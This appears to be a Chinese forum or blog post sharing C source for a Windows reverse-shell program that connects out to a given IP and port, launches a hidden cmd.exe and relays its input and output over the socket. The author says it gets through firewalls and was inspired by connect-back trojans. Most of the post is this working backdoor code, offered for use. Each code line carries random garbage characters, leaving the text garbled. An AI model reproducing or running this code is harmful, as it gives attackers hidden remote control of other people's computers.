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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CHI(\DXNs  
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/* ============================== %WN2 xCSf  
Rebound port in Windows NT !;Nh7vG  
By wind,2006/7 7*"LW  
===============================*/ 'Sh5W%NM  
#include We?:DM [  
#include G3?z.5 ,Q  
#sZes  
#pragma comment(lib,"wsock32.lib") -#x\E%v.F  
.y+U7 "?s*  
void OutputShell(); ),,vu  
SOCKET sClient; )aSkUytg"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; epyfgg MT  
|Wk G='02  
void main(int argc,char **argv) <-}\V!@E!  
{ C ,hsr  
WSADATA stWsaData; !F)oX7"  
int nRet; ;D:T ^4  
SOCKADDR_IN stSaiClient,stSaiServer; }*.*{I  
1PSb72h<  
if(argc != 3) >.\E'e5^C  
{ M7 !" t  
printf("Useage:\n\rRebound DestIP DestPort\n"); q|J]  
return; \/v$$1p2  
} --kK<9J7  
sKO ;p  
WSAStartup(MAKEWORD(2,2),&stWsaData); >`'9V| 1  
I#U44+c  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j83 V$ Le  
Q>$L;1E*,  
stSaiClient.sin_family = AF_INET; ]EQ/*ct  
stSaiClient.sin_port = htons(0); 9l]IE,u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3(5Y-.aK}^  
9<S-b |!@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oVW?d]R  
{ mM.&c5U  
printf("Bind Socket Failed!\n"); p;Kr664  
return; qE{S'XyM,  
} ]XU#i#;c  
'zK*?= ^jk  
stSaiServer.sin_family = AF_INET; i;Y^}2   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7i.aZ2a%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f6 nltZ  
^ZG1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NY x4& *le  
{ t/|^Nt@XT  
printf("Connect Error!"); Di*>PE@  
return; >kYyR.p.b  
} Je,8{J|e  
OutputShell(); ;rgsPVbVf  
} S# #W_OlrI  
fF%r$`2  
void OutputShell() G>x0}c  
{ ~55>uw<  
char szBuff[1024]; 'oG'`ED"  
SECURITY_ATTRIBUTES stSecurityAttributes; Bx F  
OSVERSIONINFO stOsversionInfo; dp_q:P4; B  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZV;yXLx|  
STARTUPINFO stStartupInfo; g 7X>i:  
char *szShell; |:z%7J3wP  
PROCESS_INFORMATION stProcessInformation; m='OnTeOE  
unsigned long lBytesRead; l<0V0R(  
{ SV$fl;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zdCt#=QV?R  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JK4  @  
stSecurityAttributes.lpSecurityDescriptor = 0; CR<l"~X  
stSecurityAttributes.bInheritHandle = TRUE; zYgLGwi{  
GcuZPIN%D  
>nX'RE|F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .+yJ'*i$d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <FE O6YP  
bX,Z<BvbF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EX_& wep@1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rs wR DLl  
stStartupInfo.wShowWindow = SW_HIDE; 'mF}+v^   
stStartupInfo.hStdInput = hReadPipe; =#fqFL,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yrw!b\  
#'qW?8d}  
GetVersionEx(&stOsversionInfo); 1a<~Rmcil  
2 O%UT?R  
switch(stOsversionInfo.dwPlatformId) 6k2~j j1d  
{ #7{a~-S  
case 1: w]_a0{Uh  
szShell = "command.com"; JS9q'd  
break; zw?6E8$h  
default: C$8=HM3  
szShell = "cmd.exe"; e 6*=Si}V  
break; S:gP\Atf>  
} # V +e  
!SnpesTn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8Ex0[ e  
bTj,5,8 i  
send(sClient,szMsg,77,0); k.%F!sK  
while(1) m`Z4#_s2  
{ @y+Wl*:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qcqf9g  
if(lBytesRead) v!2`hq O  
{ A!c.P2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZD3S|1zSQ  
send(sClient,szBuff,lBytesRead,0); f4q-wX_1  
} Jy9&=Qh   
else 3I]5DW %-  
{ vsK>?5{C-  
lBytesRead=recv(sClient,szBuff,1024,0); H X8q+  
if(lBytesRead<=0) break; ZYG"nmNd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Uu ,Re  
} ~c4Y*]J  
} 3XIxuQwf  
[*fnTy  
return; t1kD5^  
}
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